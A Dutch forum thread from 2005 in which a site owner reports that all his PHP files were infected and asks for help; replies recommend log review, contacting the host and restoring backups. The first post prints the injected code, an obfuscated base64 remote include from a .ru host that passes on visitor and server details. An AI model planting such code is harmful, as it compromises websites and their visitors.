Website gekraakt

[Timo002]

Hallo,

Tot m'n verbazing kwam ik er vandaag achter dat m'n website op de een of andere manier gekraakt is. Wanneer ik naar de site toega wordt ik direct doorgelinkt en heb een stuk of 25 virussen te pakken. Ik heb even op m'n ftp gekeken en het blijkt dat al m'n ".php bestanden op het zelfde tijdstip zijn aangepast. In al deze bestanden is de volgende code bijgeplaatst:

<?
}
$z=ini_get('error_reporting');error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);} error_reporting($z);?>

Ook zijn er allemaal extra bestanden geplaatst in enkele mappen, bestanden zoals:
commands.php
options.php
includes.php
configs.php
enz enz

Komt iemand dit bekend voor, wat is het en wat kan ik eraan doen om dit te voorkomen. Ik kan er eigenlijk toch niets aan doen als men op mijn ftp kan komen. Dat is toch het probleem van de beveiliging van de hoster..?

Ik ben nu in iedergeval bezig de volledige website opnieuw te uploaden en zal m'n wachtwoorden veranderen. Maar lost dit het probleem op?

[CyBeR]

Code zelfgeschreven? Laat iemand eens kijken of er geen beveiligingslekken inzitten. Neem ook je webserver logs door.

[Noork]

Neem eens contact op met je hoster zou ik zeggen. Zolang jij geen brakke scripts hebt geschreven, zal het probleem bij hun liggen.

[ralpje]

Kans dat je software / webtools gebruikt waar nog de xml-rpc exploit in zit?
* ralpje spreekt uit ervaring

[Verwijderd]

CyBeR schreef op dinsdag 06 december 2005 @ 21:28:
Code zelfgeschreven? Laat iemand eens kijken of er geen beveiligingslekken inzitten. Neem ook je webserver logs door.

Sla de serverlogs ergens op, bijvoorbeeld thuis, zodat je die niet verliest. En ga adhv de logs kijken wat er mis ging, via welke requests/etc.

/me gokt dat er ergens een include ofzo word gedaan, of iets wat niet helemaal geconteroleerd is en wel uitgevoerd word.

[Timo002]

Het script draait verder al 2 jaar, dus daar kan het niet aan liggen. De code die ik hier geplaatst heb is niet door mij toegevoegd aan de broncode van de internetpagina's.

Elk php bestand dat al op de ftp stond is vandaag precies om 12:36:00 veranderdt. Ik heb de code dus niet zelf geschreven

[Noork]

Timo002 schreef op dinsdag 06 december 2005 @ 21:30:
Het script draait verder al 2 jaar, dus daar kan het niet aan liggen. De code die ik hier geplaatst heb is niet door mij toegevoegd aan de broncode van de internetpagina's.

Dat het al 2 jaar goed gaat wil natuurlijk niet zeggen dat de scripts ook daadwerkelijk veilig zijn. Ik zou ze maar even gaan nalopen, of aan de maker/leverancier vragen hoe het zit.

[ Voor 13% gewijzigd door Noork op 06-12-2005 21:33 ]

[Timo002]

Hoe sla ik serverlogs op?

En wat betreft webtools, gebruik Macromedia Dreamweaver en Cute FTP 6.0 Pro voor uploaden.

[Victor]

Ik vermoed dat dit ding wat informatie over je server verzamelt (alle $_SERVER variabelen) en deze naar de host user7.phpinclude.ru POST.

Waarschijnlijk een dubieuze PHP exploit. Contact opnemen met host, ze PHP laten updaten, passwords wijzigen, backup terugzetten.

[Noork]

Timo002 schreef op dinsdag 06 december 2005 @ 21:32:
Hoe sla ik serverlogs op?

Deze logfiles is een service die een hosting soms biedt. Dit verschilt natuurlijk per hosting.

[Timo002]

Noork schreef op dinsdag 06 december 2005 @ 21:35:
[...]

Deze logfiles is een service die een hosting soms biedt. Dit verschilt natuurlijk per hosting.

Okej, ik zal eens uitzoeken hoe dat zit bij mijn hosting.
Ik moet dus ook enkele bestanden terugzetten, maar dit mag ik in 1x niet meer doen. Acces denied. Hieronder de melding die ik krijg:


wat houdt dit in?

[Jazzy]

Klik eens op Details

[Timo002]

COMMAND:> CWD /fotoalbum/albums/userpics/10001
250 CWD command successful
STATUS:> PWD skipped. Current folder: "/fotoalbum/albums/userpics/10001".
COMMAND:> DELE configs.php
550 configs.php: Permission denied
ERROR:> Requested action not taken (e.g., file or directory not found, no access).
COMMAND:> PWD
257 "/fotoalbum/albums/userpics/10001" is current directory.

[tweakerbee]

550 configs.php: Permission denied

Belletje? Even terug chownen of gewoon ownen

[CyBeR]

King_Louie schreef op dinsdag 06 december 2005 @ 21:34:
Ik vermoed dat dit ding wat informatie over je server verzamelt (alle $_SERVER variabelen) en deze naar de host user7.phpinclude.ru POST.

Waarschijnlijk een dubieuze PHP exploit. Contact opnemen met host, ze PHP laten updaten, passwords wijzigen, backup terugzetten.

Hij include daar een file van die afhankelijk lijkt te zijn van die variabelen. M.a.w waarschijnlijk een script dat zelf wat van die gegevens nodig heeft om z'n werk client-side te kunnen doen.